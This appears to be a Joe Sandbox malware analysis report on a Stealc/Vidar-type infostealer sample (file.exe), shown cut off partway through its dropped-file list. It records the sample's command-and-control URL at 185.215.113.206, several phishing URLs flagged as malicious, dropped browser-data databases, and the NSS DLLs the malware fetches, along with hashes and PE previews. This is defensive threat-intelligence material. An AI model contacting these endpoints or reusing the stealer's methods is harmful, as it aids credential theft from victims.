Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/37@6/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.238, 142.250.186.163, 64.233.166.84, 34.104.35.123, 142.250.184.227, 142.250.185.202, 142.250.185.74, 142.250.184.202, 142.250.181.234, 142.250.185.234, 216.58.206.42, 142.250.74.202, 216.58.212.170, 142.250.186.42, 142.250.185.138, 142.250.186.138, 142.250.185.106, 142.250.186.74, 172.217.18.10, 142.250.185.170, 216.58.212.138, 2.16.164.17, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7480 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:13:27	API Interceptor	40x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://jksvb.jnkpavers.com/?tZbf66=Tyw6/shhfkanxgsdff/&c=E,1,NSDuZCxGQc6fw5XDGugSpFh6vhsurKgNKuRtQYEvQblaeko7ktmOqkToectUm_5S_qV7IGwrOynGYnQ5TFSCJymAV2tc5TeuFegn96UyDZPOEKOyHYw,&typo=1	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse
	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse
	Reminders for Msp-partner_ Server Alert.eml	Get hash	malicious	HTMLPhisher	Browse
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	Setup.exe	Get hash	malicious	RedLine	Browse	185.215.113.22
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://jksvb.jnkpavers.com/?tZbf66=Tyw6/shhfkanxgsdff/&c=E,1,NSDuZCxGQc6fw5XDGugSpFh6vhsurKgNKuRtQYEvQblaeko7ktmOqkToectUm_5S_qV7IGwrOynGYnQ5TFSCJymAV2tc5TeuFegn96UyDZPOEKOyHYw,&typo=1	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	67JPbskewt.exe	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Reminders for Msp-partner_ Server Alert.eml	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Uviv7rEtnt.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	tdnPqG0jmS.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKKEGDGCGDAKEBFIJECGHJEGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGHCAKKFBGDHJJJKECF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CBKFIECB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKEGCAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFCGIDAKECGCBGDBAFIDHCFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCAKKECAEGDGCBFIJEGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJDBAAAEHIEGCAKFHCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: b4s45TboUL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: tdnPqG0jmS.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Uviv7rEtnt.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
